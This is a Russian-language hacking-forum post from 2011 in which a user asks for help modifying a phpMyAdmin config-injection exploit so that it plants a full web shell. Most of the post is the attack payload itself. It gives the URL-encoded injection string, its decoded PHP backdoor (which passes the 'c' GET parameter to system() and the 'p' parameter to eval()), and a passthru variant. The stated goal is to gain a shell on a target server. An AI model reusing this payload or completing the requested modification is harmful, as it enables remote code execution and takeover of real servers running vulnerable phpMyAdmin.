HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Перезагрузить страницу Помогите разобраться с работой сплойта phpmyadmin
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

  #1  
Старый 04.07.2011, 11:59
Bigmanhlo
Guest
Сообщений: n/a
Провел на форуме:
356

Репутация: 0
По умолчанию
Вообщем суть такова. Вот сплойт http://www.exploit-db.com/download/8921/.

По сути мне нужно сделать так чтобы, чтобы этот эксплойт мне залил полноценный шелл. Но столкнулся с рядом проблемм.

Вот шифрованный код.

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3bsystem[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3beval[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#FF8000"]//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}[/COLOR][/COLOR] 
Вот рассшифрованный

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'; if($_GET['[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#DD0000"]']){echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';system($_GET['[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#DD0000"]']);echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';}if($_GET['[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#DD0000"]']){echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';eval($_GET['[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#DD0000"]']);echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';};//'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"];[/COLOR][/COLOR] 
Но даже для примера просто пробую поменять в коде passthru вместо system. И сплойт не пишет пхп код в конфиг. Хоть что, изменяешь в коде, он перестаёт писать в конфиг, даже простой метод в место GET, ставлю POST. И уже мой пхп код, не пишеться в конфиг.

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3bpassthru[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3beval[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#FF8000"]//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}[/COLOR][/COLOR] 
Что мне конкретно надо? Чтобы вшить в сплойт полноценный шелл, и он мне залил его. Но я не могу понять толи какие то ограничения по символам толи что, подсказывайте . Другие сплойты не предлагать, запись в конфиг есть, но мне надо конретно сделать тот вопрос, о котором спросил, других альтернатих не предлагайте, нужно именно этот пример. Спасибо
 
Ответить с цитированием
 



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ